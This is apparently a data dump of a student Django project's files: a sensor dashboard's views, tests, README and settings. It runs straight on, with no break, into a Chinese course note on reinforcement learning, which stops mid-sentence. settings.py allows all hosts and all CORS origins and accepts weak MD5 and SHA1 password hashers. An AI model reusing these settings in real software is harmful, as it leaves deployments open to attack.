**kwargs):\n if request.user.is_authenticated:\n return redirect('get_context_data')\n\n return render(request, self.template_name)\n\n\nclass SelecaoView2(View):\n initial = {'key': 'value'}\n template_name = 'teste.html'\n\n def get(self, request, *args, **kwargs):\n if request.user.is_authenticated:\n return redirect('get_context_data')\n\n return render(request, self.template_name)\n\n\nclass Graph(LoginRequiredMixin, TemplateView):\n template_name = 'graficos.html'\n model = GasesCollected\n\n def get_context_data(self, **kwargs):\n context = super(Graph, self).get_context_data(**kwargs)\n\n lowest_values = list()\n higher_values = list()\n avg_values = list()\n\n cadastros = Sensor.objects.filter(author_id=self.request.user)\n if self.kwargs.get('pk') is None:\n context['lists'] = cadastros\n context['selec'] = ''\n return context\n\n elif Sensor.objects.filter(id=self.kwargs.get('pk'),\n author_id=self.request.user):\n\n qs = GasesCollected.objects.filter(sensor=self.kwargs.get('pk'))\n\n for n in ['temperature', 'humidity', 'co', 'co2', 'mp25']:\n try:\n lowest_values.append(\n list(qs.aggregate(Min(n)).values())[0])\n higher_values.append(\n list(qs.aggregate(Max(n)).values())[0])\n avg_values.append(\n round(list(qs.aggregate(Avg(n)).values())[0], 2))\n except BaseException:\n pass\n\n context['lists'] = cadastros\n context['count'] = GasesCollected.objects.filter(\n sensor_id=self.kwargs.get('pk')).count()\n context['avg_values'] = avg_values\n context['lowest_values'] = lowest_values\n context['higher_values'] = higher_values\n context['temp'] = [q.temperature for q in qs]\n context['hum'] = [q.humidity for q in qs]\n context['co'] = [q.co for q in qs]\n context['co2'] = [q.co2 for q in qs]\n context['pm'] = [q.mp25 for q in qs]\n context['x'] = [q for q in range(len(qs))]\n\n return context\n else:\n return context\n\n\nclass MeasureView(FormView):\n template_name = 'setup.html'\n form_class = MeasureForm\n success_url = '/medicao/'\n\n def form_valid(self, form):\n medicao = form.save(commit=False)\n medicao.author = self.request.user\n medicao.published_date = timezone.now()\n\n medicao.save()\n if self.request.FILES:\n csv_file = self.request.FILES[\"file_csv\"]\n file_data = csv_file.read().decode(\"utf-8\")\n\n StringIO(file_data)\n print(file_data)\n\n GasesCollectedViewSet()\n return super().form_valid(medicao)\n" }, { "alpha_fraction": 0.49192363023757935, "alphanum_fraction": 0.5315712094306946, "avg_line_length": 31.967741012573242, "blob_id": "7197de166948e22c25b3b1094e30826c8084cb6c", "content_id": "de1e3fd85ddf2a84efffb9d608034445027be44f", "detected_licenses": [ "BSD-2-Clause" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2043, "license_type": "permissive", "max_line_length": 72, "num_lines": 62, "path": "/apps/dashboard/tests/test_view.py", "repo_name": "EltonARodrigues/NOIR-Server", "src_encoding": "UTF-8", "text": "from django.test import TestCase\nfrom rest_framework.test import APIRequestFactory\nfrom rest_framework.test import APITestCase, APIClient\nfrom django.urls import reverse, resolve\nfrom rest_framework import status\nfrom datetime import datetime\nimport json\nimport uuid\n\nclient = APIClient()\n\n\nclass GasesCollectedTestCase(TestCase):\n\n def setUp(self):\n self.uri = '/api/gases/'\n now = datetime.now()\n self.value = {\n \"id\": \"789ed3a4-85a8-476e-bff5-fb6899e74f16\",\n \"created_at\": now.strftime(\"%Y-%m-%dT%H:%MZ\"),\n \"temperature\": 55.0,\n \"humidity\": 58.0,\n \"co\": 55.58,\n \"co2\": 44.5,\n \"mp25\": 55.5,\n \"sensor\": \"4d4ca279-d266-4506-b749-0c19215f0655\"\n }\n\n def test_post_gases(self):\n response = client.post(self.uri,\n data=json.dumps(self.value),\n content_type='text/csv'\n )\n self.assertEqual(response.status_code, status.HTTP_201_CREATED)\n\n def test_get_gases(self):\n response = client.get(self.uri)\n self.assertEqual(response.status_code, status.HTTP_200_OK)\n\n\nclass SensorViewSetTestCase(TestCase):\n\n def setUp(self):\n now = datetime.now()\n self.uri = '/api/sensors/'\n self.value = {\n \"title\": str(uuid.uuid4())[:8],\n \"description\": str(uuid.uuid4())[:8],\n \"author\": 1\n }\n\n def test_post_sensor(self):\n response = client.post(self.uri,\n data=json.dumps(self.value),\n content_type='application/json')\n\n print(response)\n self.assertEqual(response.status_code, status.HTTP_201_CREATED)\n\n def test_get_gases(self):\n response = client.get(self.uri)\n self.assertEqual(response.status_code, status.HTTP_200_OK)" }, { "alpha_fraction": 0.6849710941314697, "alphanum_fraction": 0.6849710941314697, "avg_line_length": 15.476190567016602, "blob_id": "583820a067bb911d0b8f5fc760f4256adb531390", "content_id": "29e1d1b7af99ee1be235f55e17f0007bf5325fa1", "detected_licenses": [ "BSD-2-Clause" ], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 352, "license_type": "permissive", "max_line_length": 44, "num_lines": 21, "path": "/README.md", "repo_name": "EltonARodrigues/NOIR-Server", "src_encoding": "UTF-8", "text": "# NOIR - DJANGO\n\n- Instalar Dependรชncias\n- Definir variรกvel de ambiente:\n\nex:\n- SECRET_KEY=\"secret_key\"\n- DEBUG=\"true\"\n- export DATABASE_URL='sqlite:///sqlite.db'\n\n## API\n\n```\n/api/gases/ - mediรงรตes recebidas\n/api/sensors/ - grupo de mediรงรตes do sensor\n```\n## Imagens\n\n![NOIR home](imagens/home.png)\n\n![NOIR DashBoard](imagens/dashboard.png)\n" }, { "alpha_fraction": 0.5145518183708191, "alphanum_fraction": 0.6263096332550049, "avg_line_length": 21.05128288269043, "blob_id": "d740b7497b7c68b260a255ebd78bd035111f2e77", "content_id": "8abd3d5694cf2448af7b37c200a6d07acbb43e16", "detected_licenses": [ "BSD-2-Clause" ], "is_generated": false, "is_vendor": false, "language": "TOML", "length_bytes": 861, "license_type": "permissive", "max_line_length": 53, "num_lines": 39, "path": "/pyproject.toml", "repo_name": "EltonARodrigues/NOIR-Server", "src_encoding": "UTF-8", "text": "[tool.poetry]\nname = \"noir-server\"\nversion = \"1.0.0\"\ndescription = \"Dashboard para exibiรงรฃo de dados(TCC)\"\nauthors = [\"Elton de Andrade Rodrigues <[email protected]>\"]\n\n[tool.poetry.dependencies]\npython = \"^3.7\"\nasgiref = \"^3.2.7\"\ncertifi = \"^2022.12.7\"\nchardet = \"3.0.4\"\ndj-database-url = \"^0.5.0\"\nDjango = \"^3.0.7\"\ndjango-cors-headers = \"^3.2.1\"\ndjango-filter = \"^2.2.0\"\ndjango-widget-tweaks = \"^1.4.8\"\ndjangorestframework = \"^3.11.0\"\ndjangorestframework-csv = \"^2.1.0\"\ndjangorestframework-jwt = \"^1.11.0\"\ngunicorn = \"^20.0.4\"\nidna = \"^2.9\"\nMarkdown = \"^3.2.1\"\nprettyconf = \"^2.1.0\"\npsycopg2 = \"^2.8.5\"\nPyJWT = \"^1.7.1\"\npytz = \"^2019.3\"\nrequests = \"^2.23.0\"\nsix = \"^1.14.0\"\nsqlparse = \"^0.3.1\"\nunicodecsv = \"^0.14.1\"\nurllib3 = \"^1.25.9\"\nwhitenoise = \"^5.0.1\"\n\n[tool.poetry.dev-dependencies]\npytest = \"^5.2\"\n\n[build-system]\nrequires = [\"poetry>=0.12\"]\nbuild-backend = \"poetry.masonry.api\"" }, { "alpha_fraction": 0.684402585029602, "alphanum_fraction": 0.6901652216911316, "avg_line_length": 26.83957290649414, "blob_id": "ce9686b1ec2f70053e7c873ac77c994415b176e2", "content_id": "84e08e383f7249996d1f3b0ef9f57b470d231d6a", "detected_licenses": [ "BSD-2-Clause" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 5206, "license_type": "permissive", "max_line_length": 95, "num_lines": 187, "path": "/noir_server/settings.py", "repo_name": "EltonARodrigues/NOIR-Server", "src_encoding": "UTF-8", "text": "import os\n\nfrom dj_database_url import parse as parse_db_url\nfrom prettyconf import config\nfrom datetime import timedelta, datetime\n\nBASE_DIR = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))\n\nSECRET_KEY = config('SECRET_KEY')\n\nDEBUG = config('DEBUG')\n\nALLOWED_HOSTS = '*'\n\nINSTALLED_APPS = [\n 'django.contrib.admin',\n 'django.contrib.auth',\n 'django.contrib.contenttypes',\n 'django.contrib.sessions',\n 'django.contrib.messages',\n 'django.contrib.staticfiles',\n 'rest_framework.authtoken',\n 'corsheaders',\n 'apps.dashboard',\n # 'noir.apps.NoirConfig',\n # 'rest_framework_swagger',\n 'rest_framework',\n 'widget_tweaks',\n]\n\nMIDDLEWARE = [\n 'corsheaders.middleware.CorsMiddleware',\n 'django.middleware.security.SecurityMiddleware',\n 'whitenoise.middleware.WhiteNoiseMiddleware',\n 'django.contrib.sessions.middleware.SessionMiddleware',\n 'django.middleware.common.CommonMiddleware',\n 'django.middleware.csrf.CsrfViewMiddleware',\n 'django.contrib.auth.middleware.AuthenticationMiddleware',\n 'django.contrib.messages.middleware.MessageMiddleware',\n 'django.middleware.clickjacking.XFrameOptionsMiddleware',\n]\n\nPASSWORD_HASHERS = (\n # Set PASSWORD_HASHER=UnsaltedMD5PasswordHasher to make test running faster\n 'django.contrib.auth.hashers.' + config(\"PASSWORD_HASHER\", default=\"PBKDF2PasswordHasher\"),\n 'django.contrib.auth.hashers.PBKDF2SHA1PasswordHasher',\n 'django.contrib.auth.hashers.BCryptPasswordHasher',\n 'django.contrib.auth.hashers.SHA1PasswordHasher',\n 'django.contrib.auth.hashers.MD5PasswordHasher',\n 'django.contrib.auth.hashers.UnsaltedMD5PasswordHasher',\n 'django.contrib.auth.hashers.CryptPasswordHasher',\n)\n\n\nROOT_URLCONF = 'noir_server.urls'\n\nTEMPLATES = [\n {\n 'BACKEND': 'django.template.backends.django.DjangoTemplates',\n 'DIRS': [os.path.join(BASE_DIR, 'templates')],\n 'APP_DIRS': True,\n 'OPTIONS': {\n 'context_processors': [\n 'django.template.context_processors.debug',\n 'django.template.context_processors.request',\n 'django.contrib.auth.context_processors.auth',\n 'django.contrib.messages.context_processors.messages',\n ],\n },\n },\n]\n\n\nWSGI_APPLICATION = 'noir_server.wsgi.application'\n\nDATABASES = {\n 'default': config('DATABASE_URL', cast=parse_db_url),\n}\nDATABASES['default']['CONN_MAX_AGE'] = None # always connected\n\n\n# Password validation\n# https://docs.djangoproject.com/en/2.1/ref/settings/#auth-password-validators\n\nAUTH_PASSWORD_VALIDATORS = [\n {\n 'NAME': 'django.contrib.auth.password_validation.UserAttributeSimilarityValidator',\n },\n {\n 'NAME': 'django.contrib.auth.password_validation.MinimumLengthValidator',\n },\n {\n 'NAME': 'django.contrib.auth.password_validation.CommonPasswordValidator',\n },\n {\n 'NAME': 'django.contrib.auth.password_validation.NumericPasswordValidator',\n },\n]\n\n\nREST_FRAMEWORK = {\n 'DEFAULT_AUTHENTICATION_CLASSES': (\n 'rest_framework_jwt.authentication.JSONWebTokenAuthentication',\n 'rest_framework.authentication.TokenAuthentication',\n 'rest_framework.authentication.SessionAuthentication',\n 'rest_framework.authentication.BasicAuthentication'\n ),\n 'DEFAULT_PERMISSION_CLASSES': (\n 'rest_framework.permissions.IsAuthenticated',\n ),\n 'DEFAULT_PAGINATION_CLASS': 'rest_framework.pagination.PageNumberPagination',\n 'PAGE_SIZE': 10\n}\n\nJWT_AUTH = {\n 'JWT_ENCODE_HANDLER':\n 'rest_framework_jwt.utils.jwt_encode_handler',\n\n 'JWT_DECODE_HANDLER':\n 'rest_framework_jwt.utils.jwt_decode_handler',\n\n 'JWT_PAYLOAD_HANDLER':\n 'rest_framework_jwt.utils.jwt_payload_handler',\n\n 'JWT_PAYLOAD_GET_USER_ID_HANDLER':\n 'rest_framework_jwt.utils.jwt_get_user_id_from_payload_handler',\n\n 'JWT_RESPONSE_PAYLOAD_HANDLER':\n 'rest_framework_jwt.utils.jwt_response_payload_handler',\n\n 'JWT_SECRET_KEY': config('SECRET_KEY'),\n 'JWT_GET_USER_SECRET_KEY': None,\n 'JWT_PUBLIC_KEY': None,\n 'JWT_PRIVATE_KEY': None,\n 'JWT_ALGORITHM': 'HS256',\n 'JWT_VERIFY': True,\n 'JWT_VERIFY_EXPIRATION': True,\n 'JWT_LEEWAY': 0,\n 'JWT_EXPIRATION_DELTA': timedelta(seconds=3600),\n 'JWT_AUDIENCE': None,\n 'JWT_ISSUER': None,\n\n 'JWT_ALLOW_REFRESH': False,\n 'JWT_REFRESH_EXPIRATION_DELTA': timedelta(days=7),\n\n 'JWT_AUTH_HEADER_PREFIX': 'Bearer',\n 'JWT_AUTH_COOKIE': None,\n\n}\n#apagar depois\nCORS_ORIGIN_ALLOW_ALL = True\n\n# Internationalization\n# https://docs.djangoproject.com/en/2.1/topics/i18n/\n\nLANGUAGE_CODE = 'en-us'\n\nTIME_ZONE = 'UTC'\n\nUSE_I18N = True\n\nUSE_L10N = True\n\nUSE_TZ = True\n\n\n# Static files (CSS, JavaScript, Images)\n# https://docs.djangoproject.com/en/2.1/howto/static-files/\nSTATIC_URL = '/static/'\n\nSTATICFILES_DIRS = [\n os.path.join(BASE_DIR, \"static\"),\n]\n\nSTATIC_ROOT = os.path.join(BASE_DIR, 'staticfiles')\n\nSTATICFILES_STORAGE = 'whitenoise.storage.CompressedManifestStaticFilesStorage'\n\nAPPEND_SLASH = False\n\nLOGIN_REDIRECT_URL = 'get_context_data'\nLOGOUT_REDIRECT_URL = 'home'\nLOGIN_URL = 'get_context_data'\n\nTIME_ZONE = 'UTC'\nUSE_TZ = True\nLANGUAGE_CODE = 'en-us'\n" } ]
16
iphysresearch/iphysresearch.github.io
https://github.com/iphysresearch/iphysresearch.github.io
8a194b2f93bad268335d494d5c24003f836827f9
b18d75d0a0fa43bc1b5fbbe4dee86402d004c28a
c82922889b6b5c0c92ad34896c567da7faa521b9
refs/heads/master
2020-05-23T14:10:08.902986
2019-11-27T10:28:50
2019-11-27T10:28:50
116,783,555
11
4
null
null
null
null
null
[ { "alpha_fraction": 0.7133268117904663, "alphanum_fraction": 0.7689914703369141, "avg_line_length": 28.49758529663086, "blob_id": "f7dfcad432887f5fcf77f81d0e502e0dbf329cf2", "content_id": "098e869f0cbcf1c1a2715c82dc17dd16f54dcd45", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 11596, "license_type": "no_license", "max_line_length": 394, "num_lines": 207, "path": "/blog/cs231n/cs231n_14.md", "repo_name": "iphysresearch/iphysresearch.github.io", "src_encoding": "UTF-8", "text": "---\ntitle: CS231n Lecture.14\ndate: 2018-09-14\n---\n\n[่ฟ”ๅ›žๅˆฐไธŠไธ€้กต](./index.html)\n\n---\n\n[TOC]\n\n> CS231n ่ฏพ็จ‹็š„ๅฎ˜ๆ–นๅœฐๅ€๏ผšhttp://cs231n.stanford.edu/index.html\n>\n> ่ฏฅ็ฌ”่ฎฐๆ นๆฎ็š„่ง†้ข‘่ฏพ็จ‹็‰ˆๆœฌๆ˜ฏ [Spring 2017](https://www.bilibili.com/video/av17204303/?p=32)(BiliBili)๏ผŒPPt ่ต„ๆบ็‰ˆๆœฌๆ˜ฏ [Spring 2018](http://cs231n.stanford.edu/syllabus.html).\n>\n\n# Lecture 14. Deep Reinforcement Learning\n\n- ไนฆ็ฑๆŽจ่๏ผš\n\nBy [Richard S. Sutton](https://mitpress.mit.edu/contributors/richard-s-sutton) and [Andrew G. Barto](https://mitpress.mit.edu/contributors/andrew-g-barto) ใ€Š[Reinforcement learning An introduction](http://incompleteideas.net/book/the-book-2nd.html)ใ€‹ \n\n> ๅพˆๆ–ฐ 2018็‰ˆ\n\nBy [Dimitri P. Bertsekas](http://www.mit.edu/people/dimitrib/home.html) and [John Tsitsiklis](http://web.mit.edu/jnt/www/home.html)ใ€Š[Neuro-Dynamic Programming](http://athenasc.com/ndpbook.html)ใ€‹\n\n> ๆฏ”่พƒ่€๏ผŒ็ปๅ…ธ\n\nBy [Sebastian Thrun](http://robots.stanford.edu/) ใ€Š[Probabilistic Robotics](http://www.probabilistic-robotics.org)ใ€‹\n\n> ไธๅคช็ฎ—ๅผบๅŒ–ๅญฆไน ๏ผŒไฝ†ๅพˆๅฅฝ\n\n\n\n\n\n## What is Reinforcement Learning?\n\n![](https://i.loli.net/2018/09/14/5b9b09623a6be.png)\n\nๆˆ‘ไปฌๆœ‰ไธ€ไธชไปฃ็†ๅ’Œไธ€ไธช็Žฏๅขƒ๏ผŒ็Žฏๅขƒ่ต‹ไบˆไปฃ็†ไธ€ไธช็Šถๆ€๏ผŒๅ่ฟ‡ๆฅ๏ผŒไปฃ็†ๅฐ†้‡‡ๅ–่กŒๅŠจ๏ผŒ็„ถๅŽ็Žฏๅขƒๅฐ†ๅ›ž้ฆˆไธ€ไธชๅฅ–ๅŠฑใ€‚ไธ‹ไธ€ไธช็Šถๆ€ไนŸๆ˜ฏๅฆ‚ๆญคใ€‚่ฟ™ไธ€่ฟ‡็จ‹ๅฐ†ไผš็ปง็ปญๅพช็Žฏไธ‹ๅŽป๏ผŒไธ€ๆฌกไธ€ๆฌก่ฟ›่กŒ๏ผŒ็›ดๅˆฐ็Žฏๅขƒ็ป™ๅ‡บไธ€ไธช็ปˆ็ซฏ็Šถๆ€๏ผŒ็ป“ๆŸ่ฟ™ไธช็Žฏ่Š‚ใ€‚\n\n- ไพ‹ๅญ1๏ผšCart-Pole Problem\n\n ![](https://i.loli.net/2018/09/14/5b9b0a1e0076e.png)\n\n\n- ไพ‹ๅญ2๏ผšRobot Locomotion\n\n ![](https://i.loli.net/2018/09/14/5b9b0a4806aaa.png)\n\n- ไพ‹ๅญ3๏ผšAtari Games\n\n ![](https://i.loli.net/2018/09/14/5b9b0a657974d.png)\n\n- ไพ‹ๅญ4๏ผšGo\n\n ![](https://i.loli.net/2018/09/14/5b9b0a81e96c5.png)\n\n\n\n## Markov Decision Processes (MDP)\n\n![](https://i.loli.net/2018/09/14/5b9b0b65c3c13.png)\n\nไบ‹ๅฎžไธŠ๏ผŒไธ€ไธช้ฉฌๅฐ”็ง‘ๅคซๅ†ณ็ญ–่ฟ‡็จ‹ๅฐฑๆ˜ฏๅผบๅŒ–ๅญฆไน ้—ฎ้ข˜็š„ๆ•ฐๅญฆ่กจ่พพใ€‚้ฉฌๅฐ”็ง‘ๅคซๅ†ณ็ญ–่ฟ‡็จ‹ๆปก่ถณ **Markov** ๆ€ง๏ผŒๅณๅฝ“ๅ‰็Šถๆ€ๅฎŒๅ…จๅˆป็”ปไบ†ไธ–็•Œ็š„็Šถๆ€ใ€‚MDP ็”ฑไธ€็ป„ๅฏน่ฑกๅฎšไน‰๏ผŒ่ฟ™ไธชๅฏน่ฑกๅ…ƒ็ป„ไธญๆœ‰ S๏ผŒไนŸๅฐฑๆ˜ฏๆ‰€ๆœ‰ๅฏ่ƒฝ็Šถๆ€็š„้›†ๅˆ๏ผ›ๅ…ƒ็ป„ไธญ่ฟ˜ๆœ‰ A๏ผŒๆ‰€ๆœ‰่ฟๅŠจ็š„้›†ๅˆ๏ผ›ๅŒๆ—ถ่ฟ˜ๆœ‰ R๏ผŒไนŸๅฐฑๆ˜ฏๅฅ–ๅŠฑ็š„ๅˆ†ๅธƒๅ‡ฝๆ•ฐ๏ผŒ็ป™ๅฎšไธ€ไธช็Šถๆ€ไธ€็ป„่กŒๅŠจ๏ผŒไบŽๆ˜ฏๅฎƒๅฐฑๆ˜ฏไธ€ไธชไปŽ็Šถๆ€่กŒไธบๅˆฐๅฅ–ๅŠฑ็š„ๅ‡ฝๆ•ฐๆ˜ ๅฐ„๏ผ›่ฟ˜ๆœ‰ P๏ผŒ่กจ็คบไธ‹ไธ€ไธช็Šถๆ€็š„่ฝฌ็งปๆฆ‚็Ž‡ๅฏ†ๅบฆๅˆ†ๅธƒๆ˜ฏ็ป™ๅฎšไธ€ไธช็Šถๆ€่กŒไธบ็ป„ๅฐ†้‡‡ๅ–็š„ๅŠจไฝœ๏ผ›ๆœ€ๅŽๆœ‰ไธ€ไธช gamma๏ผŒๆŠ˜ๆ‰ฃๅ› ๅญ๏ผŒๅฎƒๆ˜ฏ็”จๆฅๅฏน่ฟ‘ๆœŸๅฅ–ๅŠฑไปฅๅŠ่ฟœๆœŸๅฅ–ๅŠฑๅˆ†้…ๆƒ้‡็š„ใ€‚\n\n---\n\n![](https://i.loli.net/2018/09/14/5b9b0c3883be5.png)\n\nๅ› ๆญค๏ผŒ้ฉฌๅฐ”็ง‘ๅคซๅ†ณ็ญ–่ฟ‡็จ‹็š„ๅทฅไฝœๆ–นๅผๆ˜ฏ๏ผšไปคๆˆ‘ไปฌ็š„ๅˆ่ฏ•ๆ—ถ้—ดๆญฅ้ชค t ็ญ‰ไบŽ้›ถ๏ผŒ็„ถๅŽ็ŽฏๅขƒไผšไปŽๅˆๅง‹็Šถๆ€ๅˆ†ๅธƒ $p(s)$ ไธญ้‡‡ๆ ท๏ผŒๅนถๅฐ†ไธ€ไบ›ๅˆๅง‹็Šถๆ€่ฎพไธบ 0๏ผŒ็„ถๅŽไปŽๆ—ถ้—ด t ็ญ‰ไบŽ้›ถ็›ดๅˆฐๅฎŒๆˆ๏ผŒๆˆ‘ไปฌๅฐ†้ๅŽ†่ฟ™ไธชๅพช็Žฏ๏ผŒไปฃ็†ๅฐ†้€‰ๆ‹ฉไธ€ไธชๅŠจไฝœ $a_t$๏ผŒ็Žฏๅขƒๅฐ†ไปŽ่ฟ™้‡Œ่Žทๅพ—ๅฅ–ๅŠฑ๏ผŒไนŸๅฐฑๆ˜ฏ็ป™ๅฎš็Šถๆ€๏ผŒไปฅๅŠๅˆšๅˆš้‡‡ๅ–็š„่กŒๅŠจ็š„ๆกไปถไธ‹ๆ‰€่Žทๅพ—็š„ๅฅ–ๅŠฑ๏ผŒ่ฟ™ไนŸๆ˜ฏๆŠฝๆ ทไธ‹ไธ€ไธชๅœจๆ—ถ้—ด t+1 ็ป™ๅฎšไฝ ็š„ๆฆ‚็Ž‡ๅˆ†ๅธƒ็š„็Šถๆ€ใ€‚็„ถๅŽไปฃ็†ไบบๅฐ†ๆ”ถๅˆฐๅฅ–ๅŠฑ๏ผŒ่ฟ›ๅ…ฅไธ‹ไธ€ไธช็Šถๆ€๏ผŒ็ปง็ปญ้€š่ฟ‡่ฟ™ไธช่ฟ‡็จ‹ๅ†ๆฌกๅพช็Žฏ๏ผŒ้€‰ๆ‹ฉไธ‹ไธ€ไธชๅŠจไฝœ๏ผŒไปฅๆญค็ฑปๆŽจ๏ผŒ็›ดๅˆฐ็ป“ๆŸใ€‚\n\nๅŸบไบŽ่ฟ™ไธช๏ผŒๆˆ‘ไปฌๅฏไปฅๅฎšไน‰ไธ€ไธช็ญ–็•ฅ $\\pi$๏ผŒๅฎƒๆ˜ฏไธ€ไธช็Šถๆ€ๅˆฐ่กŒไธบ็š„ๅ‡ฝๆ•ฐ๏ผŒๅฎƒๆŒ‡ๅฎšไบ†ๅœจๆฏไธช็Šถๆ€ไธ‹่ฆ้‡‡ๅ–็š„่กŒๅŠจ๏ผŒ่ฟ™ๅฏไปฅไฝฟ็กฎๅฎšๆ€ง็š„๏ผŒไนŸๅฏไปฅๆ˜ฏ้šๆœบ็š„ใ€‚่€Œๆˆ‘ไปฌ็Žฐๅœจ็š„็›ฎๆ ‡ๆ˜ฏ่ฆๆ‰พๅˆฐไฝ ็š„ๆœ€ไฝณๅ†ณ็ญ– $\\pi^*$๏ผŒๆœ€ๅคง้™ๅบฆๅœฐๆ้ซ˜ไฝ ็š„้…ๆƒไน‹ๅŽ็š„ๅ…จ้ƒจๅฅ–ๅŠฑไน‹ๅ’Œใ€‚ๅœจ่ฟ™้‡Œๅฏไปฅ็œ‹ๅˆฐๆœ‰ไธ€ไบ›ๆœชๆฅ็š„ๅฅ–ๅŠฑ๏ผŒไนŸๅฏไปฅ้€š่ฟ‡ๆŠ˜ๆ‰ฃๅ› ๅญๆฅๆŠ˜ๆ‰ฃใ€‚\n\n\n\n### A simple MDP: Grid World\n\n่ฎฉๆˆ‘ไปฌๆฅ็œ‹ไธ€ไธช็ฎ€ๅ•็š„ MDP ็š„ไพ‹ๅญ๏ผš\n\n![](https://i.loli.net/2018/09/14/5b9b0e777027d.png)\n\n่ฟ™้‡Œๆœ‰็ฝ‘ๆ ผไธ–็•Œ๏ผŒ้‡Œ้ขๆœ‰็ฝ‘ๆ ผไปปๅŠก็š„็Šถๆ€๏ผŒไฝ ๅฏไปฅๅœจ็ฝ‘ๆ ผ็š„ไปปๆ„ๅ•ๅ…ƒๆ ผไธญ๏ผŒ่ฟ™ๅฐฑๆ˜ฏไฝ ็š„็Šถๆ€ใ€‚ๆ นๆฎไฝ ็š„็Šถๆ€้‡‡ๅ–่กŒๅŠจ๏ผŒ่€Œ่ฟ™ไบ›่กŒๅŠจไผšๆ˜ฏ็ฎ€ๅ•็š„ๅŠจไฝœ๏ผŒๆฏ”ๅฆ‚ๅ‘ๅณใ€ๅ‘ๅทฆใ€ๅ‘ไธŠๆˆ–ๅ‘ไธ‹็ญ‰ใ€‚่€Œไธ”๏ผŒๆฏๆฌก่ฝฌๆขๆˆ–ๆฏไธชๆ—ถ้—ดๆญฅ้ชค้ƒฝไผšๅพ—ๅˆฐไธ€ไธช่ดŸ็š„ๅฅ–ๅŠฑ๏ผŒไฝ ้‡‡ๅ–็š„ๆฏไธ€ไธชๅŠจไฝœ้ƒฝไผšๅ‘็”Ÿ๏ผŒๅฐฑๅƒ r ็ญ‰ไบŽ -1ใ€‚่€Œไฝ ็š„็›ฎๆ ‡ๆ˜ฏ็”จๆœ€ๅฐ‘็š„่กŒๅŠจ่พพๅˆฐไธŠ้ขๆ‰€็คบ็š„็ฐ่‰ฒ็Šถๆ€็š„ๆœ€็ปˆ็Šถๆ€ไน‹ไธ€ใ€‚้‚ฃไนˆไธบไบ†่พพๅˆฐ็ปˆ็ซฏ็Šถๆ€๏ผŒๆ‰€่Šฑ่ดน็š„ๆ—ถ้—ด่ถŠ้•ฟ๏ผŒไฝ ๅฐ†ไผš็งฏ็ดฏ่ฟ™ไบ›่ดŸ็š„ๅฅ–ๅŠฑใ€‚\n\n---\n\n![](https://i.loli.net/2018/09/14/5b9b0f76b5621.png)\n\n็œ‹ไธ€ไธ‹่ฟ™้‡Œ็š„ไธ€ไธช้šๆœบ็ญ–็•ฅ๏ผŒไธ€ไธช้šๆœบ็ญ–็•ฅๅฐ†ๅŸบๆœฌไธŠๅŒ…ๅซๅœจไปปไฝ•็ป™ๅฎš็š„็Šถๆ€ๆˆ–่€…ๅ•ๅ…ƒๆ ผไธญ๏ผŒไฝ ๅชๆ˜ฏ้šๆœบๆŠฝๆ ทๅฐ†่ฆ็งปๅŠจ็š„ๆ–นๅ‘๏ผŒๆ‰€ๆœ‰ๆ–นๅ‘้ƒฝๆœ‰็›ธๅŒ็š„ๆฆ‚็Ž‡ใ€‚ๅฆไธ€ๆ–น้ข๏ผŒๆˆ‘ไปฌๅธŒๆœ›ๆ‹ฅๆœ‰็š„ๆœ€ไผ˜ๅ†ณ็ญ–ๅŸบๆœฌไธŠๆ˜ฏ้‡‡ๅ–่กŒๅŠจ๏ผŒๆŠŠๆˆ‘ไปฌๆŽจๅ‘ๆœ€่ฟ›้˜ถ็ปˆ็ซฏ็Šถๆ€็š„ๆ–นๅ‘ใ€‚ๅฆ‚ไธŠๅ›พ๏ผŒๅฆ‚ๆžœๆˆ‘ไปฌๆฐๅฅฝๅœจๆœ€็ปˆ็š„็Šถๆ€ไน‹ไธ€๏ผŒๆˆ‘ไปฌๅบ”่ฏฅๆ€ปๆ˜ฏๆœ็€่ฎฉๆˆ‘ไปฌๅˆฐ่พพ่ฟ™ไธช็ปˆ็‚น็š„ๆ–นๅ‘ๅ‰่ฟ›๏ผŒๅฆๅˆ™๏ผŒๅฆ‚ๆžœไฝ ๅœจๅ…ถไป–็Šถๆ€๏ผŒไฝ ๆƒณ่ฆ้‡‡ๅ–็š„ๆ–นๅ‘ไผšๆ˜ฏๅฐ†ไฝฟไฝ ๆœ€ๆŽฅ่ฟ‘่ฟ™ไบ›็Šถๆ€ไน‹ไธ€ใ€‚\n\n---\n\n![](https://i.loli.net/2018/09/14/5b9b108e53d65.png)\n\n่‡ณๆญค๏ผŒๆˆ‘ไปฌๅทฒ็ป็ป™ๅ‡บไบ† MDP ็š„ๆ่ฟฐ๏ผŒๆˆ‘ไปฌ็š„็›ฎ็š„ๅœจไบŽๆ‰พๅ‡บๆœ€ไฝณ็ญ–็•ฅ $\\pi^*$๏ผŒๆœ€ไฝณ็ญ–็•ฅๆ˜ฏ่ƒฝๅคŸๆœ€ๅคงๅŒ–ๅฅ–ๅŠฑ็ปผๅˆ็š„็ญ–็•ฅใ€‚ๆœ€ไฝณ็ญ–็•ฅๆ‰€ๆไพ›็š„ไฟกๆฏๆ˜ฏๅœจไปปๆ„็š„็ป™ๅฎš็Šถๆ€ไธ‹๏ผŒๆˆ‘ไปฌๅบ”่ฏฅ้‡‡ๅ–ไป€ไนˆ่กŒๅŠจๆฅๆœ€ๅคงๅŒ–ๆˆ‘ไปฌๅฐ†ๅพ—ๅˆฐ็š„ๅฅ–ๅŠฑๆ€ปๅ’Œใ€‚\n\n้‚ฃไนˆๅฐฑๆœ‰ไธ€ไธช้—ฎ้ข˜๏ผŒๆˆ‘ไปฌๅฆ‚ไฝ•ๅค„็† MDP ไธญ็š„้šๆœบๆ€งๅ‘ข๏ผŸๅˆๅง‹็Šถๆ€็š„ๆŠฝๆ 